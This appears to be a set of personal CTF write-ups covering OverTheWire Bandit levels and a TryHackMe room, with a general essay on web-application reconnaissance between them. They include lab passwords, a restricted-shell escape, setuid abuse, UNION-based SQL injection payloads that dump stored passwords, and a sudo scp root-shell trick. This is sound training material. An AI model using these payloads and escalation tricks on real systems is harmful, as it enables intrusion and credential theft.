Login: ssh bandit30@bandit.labs.overthewire.org -p 2220
Password: qp30ex3VLz5MDG1n91YowTv4Q8l7CDZL

task​

There is a git repository at ssh://bandit30-git@bandit.labs.overthewire.org:2220/home/bandit30-git/repo. The password for the user bandit30-git is the same as the password for the user bandit30. Clone the repository and find the password for the next level.

theory lil bit​

1. Git Tags: Tags are ref pointers to specific points in Git history, usually used to mark release points (like v1.0). Unlike branches, they don't change.
2. Hidden References: Information isn't always in the files or the commit history logs. Sometimes secrets are hidden in metadata like tags or notes.
3. Git Tag Command: git tag lists all existing tags in the repository.
4. Inspecting Tags: Using git show [tag_name] allows you to see the object details or the content associated with that specific tag.

solution​

# Clone the repository
┌──(sssubhammm ⌘ macbook-air)-[~/repo/repo/repo]
└─$ git clone ssh://bandit30-git@bandit.labs.overthewire.org:2220/home/bandit30-git/repo
Cloning into 'repo'...
bandit30-git@bandit.labs.overthewire.org's password: 

# Enter the repository and check the files
┌──(sssubhammm ⌘ macbook-air)-[~/repo/repo/repo]
└─$ cd repo 
┌──(sssubhammm ⌘ macbook-air)-[~/repo/repo/repo/repo]
└─$ ls
README.md
┌──(sssubhammm ⌘ macbook-air)-[~/repo/repo/repo/repo]
└─$ cat README.md
just an epmty file... muahaha

# Check for any git tags
┌──(sssubhammm ⌘ macbook-air)-[~/repo/repo/repo/repo]
└─$ git tag
secret

# View the content of the 'secret' tag
┌──(sssubhammm ⌘ macbook-air)-[~/repo/repo/repo/repo]
└─$ git show secret
fb5S2xb7bRyFmAvQYQGEqsbhVyJqhnDy

`

Login: ssh bandit31@bandit.labs.overthewire.org -p 2220
Password: fb5S2xb7bRyFmAvQYQGEqsbhVyJqhnDy

task​

There is a git repository at ssh://bandit31-git@bandit.labs.overthewire.org:2220/home/bandit31-git/repo. The goal is to push a file named key.txt with the content "May I come in?" to the remote master branch to receive the next password.

theory lil bit​

1. The .gitignore File: This is a special file that tells Git which files or patterns to ignore. If *.txt is in .gitignore, Git will refuse to track any .txt files by default.
2. Git Add: To track a new file, it must be staged using git add. If a file is ignored by .gitignore, you may need to modify the ignore file or use git add -f to force it.
3. Git Commit & Push: git commit records your local changes, and git push sends those commits to the remote server.
4. Pre-receive Hooks: Remote servers can run scripts (hooks) when you push. In this level, a hook validates your submission and prints the password before technically "declining" the push to reset the level for others.

solution​

# Clone the repository
┌──(sssubhammm ⌘ macbook-air)-[~]
└─$ git clone ssh://bandit31-git@bandit.labs.overthewire.org:2220/home/bandit31-git/repo
Cloning into 'repo'...
bandit31-git@bandit.labs.overthewire.org's password: 

# Navigate to the repo and create the required file
┌──(sssubhammm ⌘ macbook-air)-[~/repo]
└─$ cd repo
┌──(sssubhammm ⌘ macbook-air)-[~/repo/repo]
└─$ echo "May I come in?" > key.txt

# Notice that key.txt is ignored by .gitignore
┌──(sssubhammm ⌘ macbook-air)-[~/repo/repo]
└─$ cat .gitignore
*.txt

# Remove the restriction from .gitignore so Git can see the file
┌──(sssubhammm ⌘ macbook-air)-[~/repo/repo]
└─$ nvim .gitignore 
# (Remove or comment out *.txt)

# Stage the files and commit the change
┌──(sssubhammm ⌘ macbook-air)-[~/repo/repo]
└─$ git add .
┌──(sssubhammm ⌘ macbook-air)-[~/repo/repo]
└─$ git commit -m "add key file"

# Push to the remote master branch
┌──(sssubhammm ⌘ macbook-air)-[~/repo/repo]
└─$ git push origin master
bandit31-git@bandit.labs.overthewire.org's password: 
remote: ### Attempting to validate files... ####
remote: 
remote: Well done! Here is the password for the next level:
remote: 3O9RfhqyAlVBEZpVb6LYStshZoqoSx5K 
remote: 
To ssh://bandit.labs.overthewire.org:2220/home/bandit31-git/repo
 ! [remote rejected] master -> master (pre-receive hook declined)

`

Login: ssh bandit32@bandit.labs.overthewire.org -p 2220
Password: 3O9RfhqyAlVBEZpVb6LYStshZoqoSx5K

task​

After logging in, you are greeted by the "UPPERCASE SHELL." Every command you enter is converted to uppercase before execution, leading to "Permission denied" errors because Linux commands are case-sensitive (e.g., LS is not the same as ls). You must find a way to escape this restricted shell and read the password for level 33.

theory lil bit​

1. Positional Parameters: In shell scripting, $0 is a special variable that holds the name of the script or the shell currently being executed.
2. Shell Escape: If you are trapped in a restricted environment that processes your input, calling the shell itself ($0) can sometimes spawn a new, unrestricted sub-shell.
3. Environment Variables: The uppercase shell logic likely wraps your input in a way that handles standard strings, but it may fail to sanitize or transform shell special variables.
4. Case Sensitivity: Linux file systems and binaries are case-sensitive. The goal is to regain access to lowercase commands.

solution​

# Log in and encounter the Uppercase Shell
┌──(sssubhammm ⌘ macbook-air)-[~]
└─$ ssh bandit32@bandit.labs.overthewire.org -p 2220

WELCOME TO THE UPPERCASE SHELL
>> ls
sh: 1: LS: Permission denied
>> PWD
sh: 1: PWD: Permission denied

# Escape the shell using the $0 variable
# Since $0 is a variable, the shell expands it to the path of the current shell (sh)
# before the 'uppercase' logic can break the command name.
>> $0

# We are now in a standard Bourne Shell (sh)
$ whoami
bandit32

# Note: The level 32 binary is often setuid bandit33. 
# Escaping it gives us the privileges of the next user.
$ whoami
bandit33

# Read the final password
$ cat /etc/bandit_pass/bandit33
tQdtbs5D5i2vJwkO8mEyYEyTL8izoeJ0

okay so now lets login into bandit 33, since its the last level we dont have password for next level.

bandit33@bandit:~$ ls
README.txt
bandit33@bandit:~$ cat README.txt
Congratulations on solving the last level of this game!

At this moment, there are no more levels to play in this game. However, we are constantly working
on new levels and will most likely expand this game with more levels soon.
Keep an eye out for an announcement on our usual communication channels!
In the meantime, you could play some of our other wargames.

If you have an idea for an awesome new level, please let us know!
bandit33@bandit:~$ 

`

Login: ssh bandit19@bandit.labs.overthewire.org -p 2220
Password: cGWpMaKXVwDUNgPAVJbWYuGHVn9zl3j8

task​

The password for the next level is stored in /etc/bandit_pass/bandit20. To access it, you must use a SetUID binary located in the home directory called bandit20-do.

theory lil bit​

1. SetUID (Set User ID): This is a special type of file permission in Unix-like systems. When an executable with the SetUID bit is run, it executes with the privileges of the file's owner rather than the person running it.
2. bandit20-do: In this level, this binary is owned by bandit20. Because it has the SetUID bit set, any command we pass to it will be executed as the bandit20 user.
3. Privilege Escalation: This is a classic example of using a legitimate (but powerful) utility to perform actions your current user isn't allowed to do—like reading a password file restricted to the next level's user.

solution​

bandit19@bandit:~$ ls
bandit20-do
bandit19@bandit:~$ ./bandit20-do
Run a command as another user.
  Example: ./bandit20-do whoami
bandit19@bandit:~$ ./bandit20-do whoami
bandit20
bandit19@bandit:~$ ./bandit20-do cat /etc/bandit_pass/bandit20
0qXahG8ZjOVMN9Ghs7iOWsCfZyXOUbYO

`

Login: ssh bandit20@bandit.labs.overthewire.org -p 2220
Password: 0qXahG8ZjOVMN9Ghs7iOWsCfZyXOUbYO

task​

There is a SetUID binary in the home directory that connects to localhost on a specified port. It reads the current password from the connection and, if correct, sends back the password for the next level.

theory lil bit​

1. nc (netcat): Often called the "Swiss-army knife" of networking. We use it here to set up a listening server (-l) on a specific port (-p).
2. suconnect binary: This program acts as a client. It expects to find a service listening on the port you provide. Once connected, it waits for the current level's password to be sent to it.
3. Multitasking/Backgrounding: Since both the listener (nc) and the client (suconnect) need to run at the same time on the same machine, you either need two SSH sessions or to run the listener in the background using &.

solution​

To solve this, we need two separate terminal instances or a way to run processes in parallel.

Terminal 1 (Setting up the listener): We tell netcat to listen on port 4444. Once the connection is established, we will paste the current password.

bandit20@bandit:~$ nc -lvnp 4444
Listening on 0.0.0.0 4444

Terminal 2 (Executing the client): While Terminal 1 is listening, we run the provided binary and point it to our listening port.

bandit20@bandit:~$ ./suconnect 4444

Back in Terminal 1: The connection will be received. You must then manually type or paste the password for Level 20. If it matches what the binary expects, it will send the Level 21 password back to you.

Connection received on 127.0.0.1 54086
0qXahG8ZjOVMN9Ghs7iOWsCfZyXOUbYO
EeoULMCra2q0dSkYj561DX7s1CpBuOBt

`

Login: ssh bandit21@bandit.labs.overthewire.org -p 2220
Password: EeoULMCra2q0dSkYj561DX7s1CpBuOBt

task​

A program is running automatically at regular intervals from cron, the system-wide job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.

theory lil bit​

1. Cron: A time-based job scheduler in Unix-like operating systems. It enables users to schedule jobs (commands or shell scripts) to run periodically at fixed times, dates, or intervals.
2. /etc/cron.d/: This directory contains system-wide cron jobs. Each file here usually specifies the user that runs the command and the command itself.
3. Shell Scripts (.sh): These are text files containing a series of commands. When executed, the system runs each command in the file one by one.
4. Redirection (>): In the script, you will see cat file > /tmp/.... This takes the content of the password file and writes it into a temporary file that is readable by others.

solution​

# Navigate to the cron configuration directory
bandit21@bandit:~$ cd /etc/cron.d
bandit21@bandit:/etc/cron.d$ ls
cronjob_bandit22

# Read the cron configuration file
bandit21@bandit:/etc/cron.d$ cat cronjob_bandit22
@reboot bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null

# Read the script being executed by the cron job
bandit21@bandit:/etc/cron.d$ cat /usr/bin/cronjob_bandit22.sh
#!/bin/bash
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv

# Since the script runs every minute, the password is already in the temp file
bandit21@bandit:/etc/cron.d$ cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
tRae0UfB9v0UzbCdn9cY0gQnds9GF58Q

`

Login: ssh bandit22@bandit.labs.overthewire.org -p 2220
Password: tRae0UfB9v0UzbCdn9cY0gQnds9GF58Q

task​

A program is running automatically at regular intervals from cron. Look in /etc/cron.d/ for the configuration and see what command is being executed.

theory lil bit​

1. Shell Variables: In the script, $myname is a variable. When the cron job runs for bandit23, the script sets myname to "bandit23".
2. MD5 Hashing: The command md5sum creates a unique 32-character fingerprint (hash) of a string. In this level, the script uses the hash of a specific string as a hidden filename in /tmp.
3. Command Substitution: Using $(command) allows the output of one command to be stored in a variable or used inside another string.
4. Logic: To find the password, we don't need to run the script. We just need to figure out what the filename would be when the user is bandit23, and then read that file.

solution​

# Navigate to the cron directory and check the script
bandit22@bandit:~$ cd /etc/cron.d
bandit22@bandit:/etc/cron.d$ cat cronjob_bandit23
* * * * * bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null

# Analyze the script logic
bandit22@bandit:/etc/cron.d$ cat /usr/bin/cronjob_bandit23.sh
#!/bin/bash
myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)
echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"
cat /etc/bandit_pass/$myname > /tmp/$mytarget

# Replicate the logic for bandit23 to find the hidden filename
bandit22@bandit:/etc/cron.d$ echo I am user bandit23 | md5sum | cut -d ' ' -f 1
8ca319486bfbbc3663ea0fbe81326349

# Read the resulting file from the /tmp directory
bandit22@bandit:/etc/cron.d$ cat /tmp/8ca319486bfbbc3663ea0fbe81326349
0Zf11ioIjMVN551jX3CmStKLYqjk54Ga

`

Jurassic Park TryHackMe​

login : ssh dennis@<TARGET_IP>
password : (Obtained via SQL Injection in the web application)

Task​

The objective is to find multiple flags scattered across the machine by exploiting a vulnerable web application to gain a foothold, and subsequently abusing sudo privileges to escalate to root.

Quick theory​

When a web application takes user input and passes it directly into a database query without sanitization, it becomes vulnerable to SQL Injection (SQLi). You can use UNION based SQLi to append your own queries and dump database credentials.

Once inside a system, privilege escalation can often be achieved by checking what commands the current user can run as root using sudo -l. If a permitted binary has known bypasses, tools like GTFOBins provide command snippets to exploit them and spawn a root shell.

Tools you’ll use:
Burp Suite -> to capture, modify, and fuzz HTTP requests (Intruder/Repeater).
SQLi (Manual) -> to enumerate database columns, tables, and dump passwords.
scp (via GTFOBins) -> to escalate privileges to root.

Solution​

# 1. After an Nmap scan reveals port 80 and 22, visit the web app.
# The 'id' parameter in the shop package URL is vulnerable to SQLi.
# Determine the number of columns (fails at 6, meaning there are 5 columns):
?id=1+ORDER+BY+6

# 2. Extract database tables and column names:
?id=1+UNION+SELECT+1,table_name,3,4,5+FROM+information_schema.tables+WHERE+table_schema=database()
?id=1+UNION+SELECT+1,column_name,3,4,5+FROM+information_schema.columns+WHERE+table_name="users"+AND+table_schema=database()

# 3. Dump the password from the users table:
?id=1+UNION+SELECT+1,password,3,password,5+FROM+users

# 4. Use Burp Intruder to fuzz the 'id' parameter from 0-50 to find the valid user "dennis".
# Log in via SSH using the dumped credentials:
neocipher27@fedora:~$ ssh dennis@<TARGET_IP>
# Capture the first flag in the user's directory.

# 5. Check bash history for the third flag and hints for the fifth flag:
dennis@jurassic:~$ cat .bash_history
# OR
dennis@jurassic:~$ history

# 6. Check for sudo privileges to escalate to root:
dennis@jurassic:~$ sudo -l
# Output shows 'scp' can be run as root without a password.

# 7. Exploit scp using GTFOBins to spawn a root shell:
dennis@jurassic:~$ TF=$(mktemp)
dennis@jurassic:~$ echo 'sh 0<&2 1>&2' > $TF
dennis@jurassic:~$ chmod +x "$TF"
dennis@jurassic:~$ sudo scp -S $TF x y:

# 8. Capture the fifth flag in the root directory:
root@jurassic:~# cat /root/flag5.txt
# 9. Find the remaining flags (flag 2 is inside the ubuntu user's bash history):
root@jurassic:~# cat /home/ubuntu/.bash_history

1. Introduction​

Before exploiting a system, security analysts first walk the application.
This means systematically exploring the entire application to understand how it works, how users interact with it, and where vulnerabilities might exist.

Instead of immediately attempting attacks, the goal is to build a mental model of the system.

Walking an application typically answers questions like:

• What technologies power the application?
• What endpoints exist?
• How does authentication work?
• What input fields accept user data?
• What data flows between client and server?

This stage is essentially structured reconnaissance for web applications.

2. Mapping the Application Surface

The first step is identifying every reachable component of the application.

Key Targets to Map​

• Pages and Endpoints

  • Login pages
  • Admin panels
  • API endpoints
  • Upload forms

• Directories

  • /admin
  • /api
  • /uploads
  • /backup

• Hidden Resources

  • Development endpoints
  • Old application versions
  • Debug interfaces

Common Discovery Techniques​

1. Manual Browsing

   • Click through every visible link.
   • Inspect navigation menus and footers.

2. Directory Enumeration

   • Tools attempt common paths automatically.
   • Example targets:
     • /backup.zip
     • /test/
     • /dev/

3. Source Code Inspection

   • Look at HTML and JavaScript.
   • Hidden API routes often appear here.

3. Technology Identification

Understanding the technology stack helps predict which vulnerabilities may exist.

Important Information to Identify​

• Web Server

  • Apache
  • Nginx
  • IIS

• Backend Language

  • PHP
  • Python
  • Node.js
  • Java

• Frameworks

  • Django
  • Laravel
  • Express
  • Spring

How Analysts Identify Technologies​

• HTTP Response Headers

  • Server: Apache
  • X-Powered-By: PHP

• File Extensions

  • .php
  • .aspx
  • .jsp

• JavaScript Libraries

  • React
  • Angular
  • jQuery

Technology identification allows researchers to search for framework-specific vulnerabilities.

4. Authentication and Session Analysis

Authentication mechanisms are a primary target during application testing.

Key Areas to Analyze​

• Login forms
• Password reset mechanisms
• Session cookies
• Token usage

Common Observations​

• Session Cookies

  • Are they random?
  • Are they predictable?

• Cookie Flags

  • Secure
  • HttpOnly
  • SameSite

• Authentication Flows

  • Multi-step login processes
  • API token generation

Common Weaknesses​

• Session IDs that never expire
• Tokens stored in local storage
• Missing HttpOnly flags

Understanding authentication is essential because many vulnerabilities originate here.

5. Input Points and Data Flow

The next step is identifying all locations where user input enters the system.

Common Input Sources​

• Login forms
• Search boxes
• File upload features
• URL parameters
• API requests
• HTTP headers

Example: https://example.com/product?id=25

Here the parameter id becomes a potential injection point.

What Analysts Check​

• Input validation
• Encoding behavior
• Data storage
• Output rendering

These locations are frequently tested for vulnerabilities such as:

• SQL Injection
• Cross-Site Scripting (XSS)
• Command Injection

6. API and Backend Behavior

Modern applications heavily rely on APIs.

Walking the application includes identifying how frontend actions translate into backend requests.

Key Observations​

• HTTP methods used

  • GET
  • POST
  • PUT
  • DELETE

• JSON request bodies

• API tokens

• Authorization checks

Example request:

POST /api/login
{
"username": "user",
"password": "password"
}

Security analysts study these requests to understand:

• Authentication logic
• Parameter handling
• Authorization enforcement

Misconfigured APIs often expose sensitive data or internal functionality.

7. Error Messages and Information Leakage

Applications frequently leak useful information through error messages.

Examples​

• Stack traces
• Database errors
• Debug information

Example: SQL syntax error near 'SELECT * FROM users'

Such messages reveal:

• Database type
• Table names
• Backend queries

This information can significantly reduce the difficulty of exploitation.

8. File Handling and Uploads

File upload features are a frequent attack surface.

Analysts Examine​

• Allowed file types
• Upload directory permissions
• File name filtering

Common risks include:

• Uploading executable scripts
• Path traversal attacks
• Storage of malicious files in web-accessible directories

Understanding file handling behavior helps identify remote code execution opportunities.

9. Logging and Monitoring Visibility

While attackers try to remain invisible, defenders rely on logs.

Walking an application often involves identifying what activities generate logs.

Common log sources:

• Web server access logs
• Application logs
• Authentication logs

Security monitoring systems such as SIEM platforms aggregate these logs to detect suspicious activity patterns.

Understanding logging behavior also helps analysts determine how detectable an attack would be.

10. Practical Reality

Walking an application in real-world environments is rarely clean or structured.

Common Challenges​

• Large applications with hundreds of endpoints
• Inconsistent authentication mechanisms
• Poor documentation
• Obfuscated JavaScript

Practical Strategies​

• Build a site map while browsing.
• Record interesting endpoints.
• Document authentication flows.
• Note unusual responses.

Professional security analysts treat this phase like digital reconnaissance.

The deeper the understanding of the system, the easier it becomes to identify weaknesses.

Conclusion

Walking an application is a foundational skill in application security.
It focuses on understanding the system before attempting exploitation.

The process includes:

• Mapping application endpoints
• Identifying technologies
• Studying authentication flows
• Locating input points
• Observing backend behavior

A well-executed application walkthrough allows security professionals to discover vulnerabilities systematically rather than randomly testing inputs.

In security analysis, knowledge of the system is often the most powerful tool.

Bandit 17 to 18​

login : ssh -i sshkey17.private -p 2220 bandit17@bandit.labs.overthewire.org
password : (Uses the RSA private key retrieved in the previous level)

Task​

There are 2 files in the home directory: passwords.old and passwords.new. The password for the next level is in passwords.new and is the only line that has been changed between passwords.old and passwords.new.

Quick theory​

When you need to compare the contents of two text files line-by-line, the standard Linux utility is diff. It analyzes both files and outputs the specific lines that differ.

• < indicates lines unique to the first file specified in the command.
• > indicates lines unique to the second file specified in the command.

Tools you’ll use:
diff → compares files line by line and prints the differences.
grep → searches for specific patterns within a file (used here to verify which file contained which string).

Solution​

bandit17@bandit:~$ diff passwords.new passwords.old
42c42
< x2gLTTjFwMOhQ8oWNbMN362QKxfRqGlO
---
> pGozC8kOHLkBMOaL0ICPvLV1IjQ5F1VA

bandit17@bandit:~$ grep x2gLTTjFwMOhQ8oWNbMN362QKxfRqGlO passwords.new
x2gLTTjFwMOhQ8oWNbMN362QKxfRqGlO

bandit17@bandit:~$ grep pGozC8kOHLkBMOaL0ICPvLV1IjQ5F1VA passwords.new
bandit17@bandit:~$  

By running diff passwords.new passwords.old, the output immediately reveals the discrepancy at line 42. Because passwords.new was the first file passed to the command, the string preceded by < (x2gLTTjFwMOhQ8oWNbMN362QKxfRqGlO) is the line unique to the new file.

To be absolutely certain, we used grep to search for both strings in passwords.new. The string x2gLTTjFwMOhQ8oWNbMN362QKxfRqGlO returns a match, confirming it is the updated password for Bandit18.

`